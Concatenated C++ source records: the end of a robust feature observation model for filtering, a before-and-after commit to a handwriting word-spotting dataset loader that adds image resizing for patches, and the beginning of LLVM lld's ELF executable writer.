\/**\n     * \\brief Overridable default destructor\n     *\/\n    virtual ~RobustFeatureObsrvModel() { }\n\n    \/**\n     * \\brief observation Returns a feature mapped observation\n     *\/\n    Obsrv observation(const State& state, const Noise& noise) const override\n    {\n        Obsrv y = feature_obsrv(obsrv_model_.observation(state, noise));\n        return y; \/\/ RVO\n    }\n\n    \/**\n     * \\brief Computes the robust feature given an input feature fron the\n     *        source observation model\n     *\/\n    virtual Obsrv feature_obsrv(const InputObsrv& input_obsrv) const\n    {\n        auto y = Obsrv(obsrv_dimension());\n\n        auto prob_y = body_gaussian_.probability(input_obsrv);\n        auto prob_tail = obsrv_model_\n                            .tail_model()\n                            .probability(input_obsrv, mean_state_);\n\n        y(0) = prob_tail;\n        if (internal::RobustFeatureDimExt == 2) y(1) = prob_y;\n        y.bottomRows(obsrv_model_.obsrv_dimension()) = prob_y * input_obsrv;\n\n        auto weight = obsrv_model_.weight_threshold();\n        auto normalizer = (Real(1) - weight) * prob_y + weight * prob_tail;\n        y \/= normalizer;\n\n        return y;\n    }\n\n\/\/    \/**\n\/\/     * \\brief Sets the feature function (feature observation modek) and\n\/\/     *        parameters\n\/\/     * \\param body_gaussian     \\f${\\cal N}(y_t\\mid \\mu_{y}, \\Sigma_{yy})\\f$\n\/\/     * \\param mean_state        \\f$ \\mu_x \\f$\n\/\/     *\n\/\/     * PAPER REF\n\/\/     *\/\n\/\/    virtual void parameters(\n\/\/        const State& mean_state,\n\/\/        const typename FirstMomentOf<InputObsrv>::Type& mean_obsrv,\n\/\/        const typename SecondMomentOf<InputObsrv>::Type& cov_obsrv)\n\/\/    {\n\/\/        mean_state_ = mean_state;\n\/\/        body_gaussian_.mean(mean_obsrv);\n\/\/        body_gaussian_.covariance(cov_obsrv);\n\/\/    }\n\n    \/**\n     * \\brief Sets the feature function \\a mean_state;\n     * \\param mean_state        \\f$ \\mu_x \\f$\n     *\n     * \\todo PAPER REF\n     *\/\n    virtual void mean_state(const State& mean_state)\n    {\n        mean_state_ = mean_state;\n    }\n\n    \/**\n     * \\brief Sets the feature function body moments\n     * \\param body_gaussian     \\f${\\cal N}(y_t\\mid \\mu_{y}, \\Sigma_{yy})\\f$\n     *\n     * \\todo PAPER REF\n     *\/\n    virtual void body_moments(\n        const typename FirstMomentOf<InputObsrv>::Type& mean_obsrv,\n        const typename SecondMomentOf<InputObsrv>::Type& cov_obsrv)\n    {\n        body_gaussian_.mean(mean_obsrv);\n        body_gaussian_.covariance(cov_obsrv);\n    }\n\n    \/**\n     * \\brief Returns the dimension of the \\a Obsrv which is dim(\\a Obsrv) + 2\n     *\/\n    int obsrv_dimension() const override\n    {\n        return obsrv_model_.obsrv_dimension() + internal::RobustFeatureDimExt;\n    }\n\n    int noise_dimension() const override\n    {\n        return obsrv_model_.noise_dimension();\n    }\n\n    int state_dimension() const override\n    {\n        return obsrv_model_.state_dimension();\n    }\n\n    ObsrvModel& embedded_obsrv_model()\n    {\n        return obsrv_model_;\n    }\n\n    const ObsrvModel& embedded_obsrv_model() const\n    {\n        return obsrv_model_;\n    }\n\n    virtual std::string name() const\n    {\n        return \"RobustFeatureObsrvModel<\"\n                + this->list_arguments(embedded_obsrv_model().name())\n                + \">\";\n    }\n\n    virtual std::string description() const\n    {\n        return \"Robust feature observation model with \"\n                + this->list_descriptions(embedded_obsrv_model().description());\n    }\n\nprotected:\n    \/** \\cond internal *\/\n\n    \/**\n     * \\brief Reference to the ource observation model\n     *\/\n    ObsrvModel& obsrv_model_;\n\n    \/**\n     * \\brief \\f${\\cal N}(y_t\\mid \\mu_{y}, \\Sigma_{yy})\\f$\n     *\/\n    Gaussian<InputObsrv> body_gaussian_;\n\n    \/**\n     * \\brief \\f$\\mu_x\\f$\n     *\/\n    State mean_state_;\n\n    \/* \\endcond *\/\n};\n\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2015-2017.\n\/\/ Distributed under the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include <fstream>\n#include <sstream>\n\n#include <dirent.h>\n\n#include \"dataset.hpp\"\n#include \"config.hpp\"\n#include \"utils.hpp\"\n\nnamespace {\n\nvoid read_word_labels(spot_dataset& dataset, const std::string& path) {\n    std::ifstream word_labels_stream(path + \"\/ground_truth\/word_labels.txt\");\n\n    while (!word_labels_stream.eof()) {\n        std::string image_name;\n        word_labels_stream >> image_name;\n\n        std::string label;\n        word_labels_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        std::istringstream ss(label);\n        std::string token;\n\n        while (std::getline(ss, token, '-')) {\n            dataset.word_labels[image_name].push_back(token);\n        }\n    }\n}\n\nvoid read_word_labels_ak(spot_dataset& dataset, const std::string& path) {\n    std::ifstream word_labels_stream(path + \"\/ground_truth\/word_labels.txt\");\n\n    while (!word_labels_stream.eof()) {\n        std::string image_name;\n        word_labels_stream >> image_name;\n\n        std::string label;\n        word_labels_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        \/\/ Get rid of AK crap\n        if (label == \"N\/A\" || label == \".\" || label == \",\" || label == \"\\\"\" || label == \"-\") {\n            continue;\n        }\n\n        std::transform(label.begin(), label.end(), label.begin(), ::tolower);\n\n        for(char c : label){\n            dataset.word_labels[image_name].push_back(std::string() + c);\n        }\n    }\n}\n\nvoid read_line_transcriptions(spot_dataset& dataset, const std::string& path) {\n    std::ifstream line_transcriptions_stream(path + \"\/ground_truth\/transcription.txt\");\n\n    while (!line_transcriptions_stream.eof()) {\n        std::string image_name;\n        line_transcriptions_stream >> image_name;\n\n        std::string label;\n        line_transcriptions_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        std::istringstream ss(label);\n        std::string word_token;\n\n        while (std::getline(ss, word_token, '|')) {\n            std::vector<std::string> word_labels;\n\n            std::istringstream ss2(word_token);\n            std::string token;\n\n            while (std::getline(ss2, token, '-')) {\n                word_labels.push_back(token);\n            }\n\n            dataset.line_transcriptions[image_name].emplace_back(std::move(word_labels));\n        }\n    }\n}\n\nvoid read_images(std::unordered_map<std::string, cv::Mat>& map, const std::string& file_path) {\n    std::cout << \"Read images from '\" << file_path << \"'\" << std::endl;\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 3 || file_name.find(\".png\") != file_name.size() - 4) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        map[file_name] = cv::imread(full_name, CV_LOAD_IMAGE_ANYDEPTH);\n\n        if (!map[file_name].data) {\n            std::cout << \"Impossible to read image \" << full_name << std::endl;\n        }\n    }\n}\n\nvoid read_images_ak(std::unordered_map<std::string, cv::Mat>& map, const std::string& file_path, const std::string& sub) {\n    std::cout << \"Read images from '\" << file_path << \"\/\" << sub << \"'\" << std::endl;\n\n    auto full_path = file_path + \"\/\" + sub;\n\n    struct dirent* entry;\n    auto dir = opendir(full_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 3 || file_name.find(\".png\") != file_name.size() - 4) {\n            continue;\n        }\n\n        std::string full_name(full_path + \"\/\" + file_name);\n\n        auto key = sub + \"\/\" + file_name;\n\n        map[key] = cv::imread(full_name, CV_LOAD_IMAGE_ANYDEPTH);\n\n        if (!map[key].data) {\n            std::cout << \"Impossible to read image \" << full_name << std::endl;\n        }\n    }\n}\n\nvoid read_line_images(spot_dataset& dataset, const std::string& path) {\n    read_images(dataset.line_images, path + \"\/data\/line_images_normalized\/\");\n}\n\nvoid read_word_images(const config& \/*conf*\/, spot_dataset& dataset, const std::string& path) {\n    read_images(dataset.word_images, path + \"\/data\/word_images_normalized\/\");\n}\n\nvoid read_word_images_gw(const config& conf, spot_dataset& dataset, const std::string& path) {\n    if(conf.gray){\n        read_images(dataset.word_images, path + \"\/data\/word_gray\/\");\n    } else if(conf.binary){\n        read_images(dataset.word_images, path + \"\/data\/word_binary\/\");\n    } else {\n        read_images(dataset.word_images, path + \"\/data\/word_images_normalized\/\");\n    }\n}\n\nvoid read_word_images_ak(const config& conf, spot_dataset& dataset, const std::string& path) {\n    read_images_ak(dataset.word_images, path + \"\/data\/word_images_normalized\", \"test\");\n    read_images_ak(dataset.word_images, path + \"\/data\/word_images_normalized\", \"train\");\n}\n\nvoid read_list(std::vector<std::string>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string image_name;\n        stream >> image_name;\n\n        if (!image_name.empty()) {\n            list.push_back(image_name);\n        }\n    }\n}\n\nvoid read_keywords(std::vector<std::vector<std::string>>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string keywords;\n        stream >> keywords;\n\n        if (!keywords.empty()) {\n            list.emplace_back();\n\n            std::istringstream ss(keywords);\n            std::string token;\n\n            while (std::getline(ss, token, '-')) {\n                list.back().push_back(token);\n            }\n        }\n    }\n}\n\nvoid read_keywords_iam(std::vector<std::vector<std::string>>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string line_keywords;\n        std::getline(stream, line_keywords);\n\n        if(line_keywords.empty()){\n            continue;\n        }\n\n        std::string keywords(line_keywords.begin(), line_keywords.begin() + line_keywords.find(' '));\n\n        if(keywords.empty()){\n            continue;\n        }\n\n        list.emplace_back();\n\n        std::istringstream ss(keywords);\n        std::string token;\n\n        while (std::getline(ss, token, '-')) {\n            list.back().push_back(token);\n        }\n    }\n}\n\nvoid load_sets_washington(spot_dataset& dataset, const std::string& path) {\n    std::string file_path(path + \"\/sets\");\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 2) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        read_list(dataset.sets[file_name].test_set, full_name + \"\/test.txt\");\n        read_list(dataset.sets[file_name].train_set, full_name + \"\/train.txt\");\n        read_list(dataset.sets[file_name].validation_set, full_name + \"\/valid.txt\");\n        read_keywords(dataset.sets[file_name].keywords, full_name + \"\/keywords.txt\");\n    }\n}\n\nvoid load_sets_ak(spot_dataset& dataset, const std::string& path) {\n    std::string set_name = \"cv1\";\n\n    auto& test_set  = dataset.sets[set_name].test_set;\n    auto& train_set = dataset.sets[set_name].train_set;\n    auto& valid_set = dataset.sets[set_name].validation_set;\n\n    for(auto& image : dataset.word_images){\n        if(image.first.substr(0, 5) == \"train\"){\n            train_set.push_back(image.first);\n        } else if(image.first.substr(0, 4) == \"test\"){\n            test_set.push_back(image.first);\n        }\n    }\n\n    valid_set.clear(); \/\/ Nothing\n}\n\nvoid load_sets_parzival(spot_dataset& dataset, const std::string& path) {\n    std::string full_name(path + \"\/sets1\/\");\n\n    read_list(dataset.sets[\"cv1\"].test_set, full_name + \"\/test.txt\");\n    read_list(dataset.sets[\"cv1\"].train_set, full_name + \"\/train.txt\");\n    read_list(dataset.sets[\"cv1\"].validation_set, full_name + \"\/valid.txt\");\n    read_keywords(dataset.sets[\"cv1\"].keywords, full_name + \"\/keywords.txt\");\n}\n\nvoid load_sets_iam(spot_dataset& dataset, const std::string& path) {\n    std::string file_path(path + \"\/sets\");\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 2) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        read_list(dataset.sets[file_name].test_set, full_name + \"\/test.txt\");\n        read_list(dataset.sets[file_name].train_set, full_name + \"\/train.txt\");\n        read_list(dataset.sets[file_name].validation_set, full_name + \"\/valid.txt\");\n        read_keywords_iam(dataset.sets[file_name].keywords, full_name + \"\/keywords.txt\");\n    }\n}\n\n} \/\/end of anonymous namespace\n\nspot_dataset read_washington(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images_gw(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_washington(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_ak(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels_ak(dataset, path);\n    read_word_images_ak(conf, dataset, path);\n\n    \/\/ Now we need to filter the crap out of the data set\n\n    auto it = dataset.word_images.begin();\n\n    while (it != dataset.word_images.end()) {\n        if (!dataset.word_labels.count({it->first.begin(), it->first.end() - 4})) {\n            it = dataset.word_images.erase(it);\n        } else {\n            ++it;\n        }\n    }\n\n    load_sets_ak(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_botany(const config& conf, const std::string& path) {\n    \/\/ Seems the same crap\n    return read_ak(conf, path);\n}\n\nspot_dataset read_manmatha(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_images(conf, dataset, path);\n\n    load_sets_washington(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_parzival(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_parzival(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_iam(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_iam(dataset, path);\n\n    return dataset;\n}\n\nstd::vector<std::vector<std::string>> select_keywords(const config& conf, const spot_dataset& dataset, const spot_dataset_set& set, names train_word_names, names test_image_names, bool verbose) {\n    std::vector<std::vector<std::string>> keywords;\n\n    if(conf.ak || conf.botany){\n        std::set<std::vector<std::string>> base_keywords;\n\n        for (auto& labels : dataset.word_labels) {\n            base_keywords.insert(labels.second);\n        }\n\n        for (auto& keyword : base_keywords) {\n            bool found = false;\n\n            for (auto& labels : dataset.word_labels) {\n                if (keyword == labels.second && std::find(train_word_names.begin(), train_word_names.end(), labels.first) != train_word_names.end()) {\n                    found = true;\n                    break;\n                }\n            }\n\n            if (found) {\n                auto total_test = std::count_if(test_image_names.begin(), test_image_names.end(),\n                                                [&dataset, &keyword](auto& i) {\n                                                    std::string key{i.begin(), i.end() - 4};\n                                                    return dataset.word_labels.at(key) == keyword;\n                                                });\n\n                if (total_test > 0) {\n                    keywords.push_back(keyword);\n                }\n            }\n        }\n    } else {\n        for (auto& keyword : set.keywords) {\n            bool found = false;\n\n            for (auto& labels : dataset.word_labels) {\n                if (keyword == labels.second && std::find(train_word_names.begin(), train_word_names.end(), labels.first) != train_word_names.end()) {\n                    found = true;\n                    break;\n                }\n            }\n\n            if (found) {\n                auto total_test = std::count_if(test_image_names.begin(), test_image_names.end(),\n                                                [&dataset, &keyword](auto& i) { return dataset.word_labels.at({i.begin(), i.end() - 4}) == keyword; });\n\n                if (total_test > 0) {\n                    keywords.push_back(keyword);\n                }\n            }\n        }\n    }\n\n    if(verbose){\n         std::cout << \"Selected \" << keywords.size() << \" keyword out of \" << set.keywords.size() << std::endl;\n    }\n\n    return keywords;\n}\n<commit_msg>Resize for patches<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2015-2017.\n\/\/ Distributed under the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include <fstream>\n#include <sstream>\n\n#include <dirent.h>\n\n#include \"dataset.hpp\"\n#include \"config.hpp\"\n#include \"utils.hpp\"\n\nnamespace {\n\nvoid read_word_labels(spot_dataset& dataset, const std::string& path) {\n    std::ifstream word_labels_stream(path + \"\/ground_truth\/word_labels.txt\");\n\n    while (!word_labels_stream.eof()) {\n        std::string image_name;\n        word_labels_stream >> image_name;\n\n        std::string label;\n        word_labels_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        std::istringstream ss(label);\n        std::string token;\n\n        while (std::getline(ss, token, '-')) {\n            dataset.word_labels[image_name].push_back(token);\n        }\n    }\n}\n\nvoid read_word_labels_ak(spot_dataset& dataset, const std::string& path) {\n    std::ifstream word_labels_stream(path + \"\/ground_truth\/word_labels.txt\");\n\n    while (!word_labels_stream.eof()) {\n        std::string image_name;\n        word_labels_stream >> image_name;\n\n        std::string label;\n        word_labels_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        \/\/ Get rid of AK crap\n        if (label == \"N\/A\" || label == \".\" || label == \",\" || label == \"\\\"\" || label == \"-\") {\n            continue;\n        }\n\n        std::transform(label.begin(), label.end(), label.begin(), ::tolower);\n\n        for(char c : label){\n            dataset.word_labels[image_name].push_back(std::string() + c);\n        }\n    }\n}\n\nvoid read_line_transcriptions(spot_dataset& dataset, const std::string& path) {\n    std::ifstream line_transcriptions_stream(path + \"\/ground_truth\/transcription.txt\");\n\n    while (!line_transcriptions_stream.eof()) {\n        std::string image_name;\n        line_transcriptions_stream >> image_name;\n\n        std::string label;\n        line_transcriptions_stream >> label;\n\n        if (image_name.empty() || label.empty()) {\n            continue;\n        }\n\n        std::istringstream ss(label);\n        std::string word_token;\n\n        while (std::getline(ss, word_token, '|')) {\n            std::vector<std::string> word_labels;\n\n            std::istringstream ss2(word_token);\n            std::string token;\n\n            while (std::getline(ss2, token, '-')) {\n                word_labels.push_back(token);\n            }\n\n            dataset.line_transcriptions[image_name].emplace_back(std::move(word_labels));\n        }\n    }\n}\n\nvoid read_images(std::unordered_map<std::string, cv::Mat>& map, const std::string& file_path) {\n    std::cout << \"Read images from '\" << file_path << \"'\" << std::endl;\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 3 || file_name.find(\".png\") != file_name.size() - 4) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        map[file_name] = cv::imread(full_name, CV_LOAD_IMAGE_ANYDEPTH);\n\n        if (!map[file_name].data) {\n            std::cout << \"Impossible to read image \" << full_name << std::endl;\n        }\n    }\n}\n\nvoid read_images_ak(const config& conf, std::unordered_map<std::string, cv::Mat>& map, const std::string& file_path, const std::string& sub) {\n    std::cout << \"Read images from '\" << file_path << \"\/\" << sub << \"'\" << std::endl;\n\n    auto full_path = file_path + \"\/\" + sub;\n\n    struct dirent* entry;\n    auto dir = opendir(full_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 3 || file_name.find(\".png\") != file_name.size() - 4) {\n            continue;\n        }\n\n        std::string full_name(full_path + \"\/\" + file_name);\n\n        auto key = sub + \"\/\" + file_name;\n\n        cv::Mat base_image = cv::imread(full_name, CV_LOAD_IMAGE_ANYDEPTH);\n\n        if (conf.method == Method::Patches) {\n            if (base_image.size().height == HEIGHT) {\n                map[key] = base_image;\n            } else {\n                float ratio = float(HEIGHT) \/ base_image.size().height;\n\n                cv::Mat scaled_normalized(\n                    cv::Size(static_cast<size_t>(base_image.size().width * ratio), HEIGHT),\n                    CV_8U);\n                cv::resize(base_image, scaled_normalized, scaled_normalized.size(), cv::INTER_AREA);\n                cv::adaptiveThreshold(scaled_normalized, map[key], 255, CV_ADAPTIVE_THRESH_MEAN_C, CV_THRESH_BINARY, 7, 2);\n            }\n        } else {\n            map[key] = base_image;\n        }\n\n        if (!map[key].data) {\n            std::cout << \"Impossible to read image \" << full_name << std::endl;\n        }\n    }\n}\n\nvoid read_line_images(spot_dataset& dataset, const std::string& path) {\n    read_images(dataset.line_images, path + \"\/data\/line_images_normalized\/\");\n}\n\nvoid read_word_images(const config& \/*conf*\/, spot_dataset& dataset, const std::string& path) {\n    read_images(dataset.word_images, path + \"\/data\/word_images_normalized\/\");\n}\n\nvoid read_word_images_gw(const config& conf, spot_dataset& dataset, const std::string& path) {\n    if(conf.gray){\n        read_images(dataset.word_images, path + \"\/data\/word_gray\/\");\n    } else if(conf.binary){\n        read_images(dataset.word_images, path + \"\/data\/word_binary\/\");\n    } else {\n        read_images(dataset.word_images, path + \"\/data\/word_images_normalized\/\");\n    }\n}\n\nvoid read_word_images_ak(const config& conf, spot_dataset& dataset, const std::string& path) {\n    read_images_ak(conf, dataset.word_images, path + \"\/data\/word_images_normalized\", \"test\");\n    read_images_ak(conf, dataset.word_images, path + \"\/data\/word_images_normalized\", \"train\");\n}\n\nvoid read_list(std::vector<std::string>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string image_name;\n        stream >> image_name;\n\n        if (!image_name.empty()) {\n            list.push_back(image_name);\n        }\n    }\n}\n\nvoid read_keywords(std::vector<std::vector<std::string>>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string keywords;\n        stream >> keywords;\n\n        if (!keywords.empty()) {\n            list.emplace_back();\n\n            std::istringstream ss(keywords);\n            std::string token;\n\n            while (std::getline(ss, token, '-')) {\n                list.back().push_back(token);\n            }\n        }\n    }\n}\n\nvoid read_keywords_iam(std::vector<std::vector<std::string>>& list, const std::string& path) {\n    std::ifstream stream(path);\n\n    while (!stream.eof()) {\n        std::string line_keywords;\n        std::getline(stream, line_keywords);\n\n        if(line_keywords.empty()){\n            continue;\n        }\n\n        std::string keywords(line_keywords.begin(), line_keywords.begin() + line_keywords.find(' '));\n\n        if(keywords.empty()){\n            continue;\n        }\n\n        list.emplace_back();\n\n        std::istringstream ss(keywords);\n        std::string token;\n\n        while (std::getline(ss, token, '-')) {\n            list.back().push_back(token);\n        }\n    }\n}\n\nvoid load_sets_washington(spot_dataset& dataset, const std::string& path) {\n    std::string file_path(path + \"\/sets\");\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 2) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        read_list(dataset.sets[file_name].test_set, full_name + \"\/test.txt\");\n        read_list(dataset.sets[file_name].train_set, full_name + \"\/train.txt\");\n        read_list(dataset.sets[file_name].validation_set, full_name + \"\/valid.txt\");\n        read_keywords(dataset.sets[file_name].keywords, full_name + \"\/keywords.txt\");\n    }\n}\n\nvoid load_sets_ak(spot_dataset& dataset, const std::string& path) {\n    std::string set_name = \"cv1\";\n\n    auto& test_set  = dataset.sets[set_name].test_set;\n    auto& train_set = dataset.sets[set_name].train_set;\n    auto& valid_set = dataset.sets[set_name].validation_set;\n\n    for(auto& image : dataset.word_images){\n        if(image.first.substr(0, 5) == \"train\"){\n            train_set.push_back(image.first);\n        } else if(image.first.substr(0, 4) == \"test\"){\n            test_set.push_back(image.first);\n        }\n    }\n\n    valid_set.clear(); \/\/ Nothing\n}\n\nvoid load_sets_parzival(spot_dataset& dataset, const std::string& path) {\n    std::string full_name(path + \"\/sets1\/\");\n\n    read_list(dataset.sets[\"cv1\"].test_set, full_name + \"\/test.txt\");\n    read_list(dataset.sets[\"cv1\"].train_set, full_name + \"\/train.txt\");\n    read_list(dataset.sets[\"cv1\"].validation_set, full_name + \"\/valid.txt\");\n    read_keywords(dataset.sets[\"cv1\"].keywords, full_name + \"\/keywords.txt\");\n}\n\nvoid load_sets_iam(spot_dataset& dataset, const std::string& path) {\n    std::string file_path(path + \"\/sets\");\n\n    struct dirent* entry;\n    auto dir = opendir(file_path.c_str());\n\n    while ((entry = readdir(dir))) {\n        std::string file_name(entry->d_name);\n\n        if (file_name.size() <= 2) {\n            continue;\n        }\n\n        std::string full_name(file_path + \"\/\" + file_name);\n\n        read_list(dataset.sets[file_name].test_set, full_name + \"\/test.txt\");\n        read_list(dataset.sets[file_name].train_set, full_name + \"\/train.txt\");\n        read_list(dataset.sets[file_name].validation_set, full_name + \"\/valid.txt\");\n        read_keywords_iam(dataset.sets[file_name].keywords, full_name + \"\/keywords.txt\");\n    }\n}\n\n} \/\/end of anonymous namespace\n\nspot_dataset read_washington(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images_gw(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_washington(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_ak(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels_ak(dataset, path);\n    read_word_images_ak(conf, dataset, path);\n\n    \/\/ Now we need to filter the crap out of the data set\n\n    auto it = dataset.word_images.begin();\n\n    while (it != dataset.word_images.end()) {\n        if (!dataset.word_labels.count({it->first.begin(), it->first.end() - 4})) {\n            it = dataset.word_images.erase(it);\n        } else {\n            ++it;\n        }\n    }\n\n    load_sets_ak(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_botany(const config& conf, const std::string& path) {\n    \/\/ Seems the same crap\n    return read_ak(conf, path);\n}\n\nspot_dataset read_manmatha(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_images(conf, dataset, path);\n\n    load_sets_washington(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_parzival(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_parzival(dataset, path);\n\n    return dataset;\n}\n\nspot_dataset read_iam(const config& conf, const std::string& path) {\n    spot_dataset dataset;\n\n    read_word_labels(dataset, path);\n    read_word_images(conf, dataset, path);\n\n    if(dataset_read_lines){\n        read_line_transcriptions(dataset, path);\n        read_line_images(dataset, path);\n    }\n\n    load_sets_iam(dataset, path);\n\n    return dataset;\n}\n\nstd::vector<std::vector<std::string>> select_keywords(const config& conf, const spot_dataset& dataset, const spot_dataset_set& set, names train_word_names, names test_image_names, bool verbose) {\n    std::vector<std::vector<std::string>> keywords;\n\n    if(conf.ak || conf.botany){\n        std::set<std::vector<std::string>> base_keywords;\n\n        for (auto& labels : dataset.word_labels) {\n            base_keywords.insert(labels.second);\n        }\n\n        for (auto& keyword : base_keywords) {\n            bool found = false;\n\n            for (auto& labels : dataset.word_labels) {\n                if (keyword == labels.second && std::find(train_word_names.begin(), train_word_names.end(), labels.first) != train_word_names.end()) {\n                    found = true;\n                    break;\n                }\n            }\n\n            if (found) {\n                auto total_test = std::count_if(test_image_names.begin(), test_image_names.end(),\n                                                [&dataset, &keyword](auto& i) {\n                                                    std::string key{i.begin(), i.end() - 4};\n                                                    return dataset.word_labels.at(key) == keyword;\n                                                });\n\n                if (total_test > 0) {\n                    keywords.push_back(keyword);\n                }\n            }\n        }\n    } else {\n        for (auto& keyword : set.keywords) {\n            bool found = false;\n\n            for (auto& labels : dataset.word_labels) {\n                if (keyword == labels.second && std::find(train_word_names.begin(), train_word_names.end(), labels.first) != train_word_names.end()) {\n                    found = true;\n                    break;\n                }\n            }\n\n            if (found) {\n                auto total_test = std::count_if(test_image_names.begin(), test_image_names.end(),\n                                                [&dataset, &keyword](auto& i) { return dataset.word_labels.at({i.begin(), i.end() - 4}) == keyword; });\n\n                if (total_test > 0) {\n                    keywords.push_back(keyword);\n                }\n            }\n        }\n    }\n\n    if(verbose){\n         std::cout << \"Selected \" << keywords.size() << \" keyword out of \" << set.keywords.size() << std::endl;\n    }\n\n    return keywords;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- lib\/ReaderWriter\/ELF\/WriterELF.cpp ---------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lld\/ReaderWriter\/Writer.h\"\n\n#include \"DefaultLayout.h\"\n#include \"TargetLayout.h\"\n#include \"ExecutableAtoms.h\"\n\n#include \"lld\/ReaderWriter\/ELFTargetInfo.h\"\n\nusing namespace llvm;\nusing namespace llvm::object;\nnamespace lld {\nnamespace elf {\ntemplate<class ELFT>\nclass ExecutableWriter;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  ExecutableWriter Class\n\/\/===----------------------------------------------------------------------===\/\/\ntemplate<class ELFT>\nclass ExecutableWriter : public ELFWriter {\npublic:\n  typedef Elf_Shdr_Impl<ELFT> Elf_Shdr;\n  typedef Elf_Sym_Impl<ELFT> Elf_Sym;\n\n  ExecutableWriter(const ELFTargetInfo &ti);\n\nprivate:\n  \/\/ build the sections that need to be created\n  void buildChunks(const File &file);\n  virtual error_code writeFile(const File &File, StringRef path);\n  void buildAtomToAddressMap();\n  void buildSymbolTable ();\n  void buildSectionHeaderTable();\n  void assignSectionsWithNoSegments();\n  void addAbsoluteUndefinedSymbols(const File &File);\n  void addDefaultAtoms();\n  void addFiles(InputFiles&);\n  void finalizeDefaultAtomValues();\n\n  uint64_t addressOfAtom(const Atom *atom) {\n    return _atomToAddressMap[atom];\n  }\n\n  void createDefaultSections();\n\n  const ELFTargetInfo &_targetInfo;\n  TargetHandler<ELFT> &_targetHandler;\n\n  typedef llvm::DenseMap<const Atom *, uint64_t> AtomToAddress;\n  AtomToAddress _atomToAddressMap;\n  llvm::BumpPtrAllocator 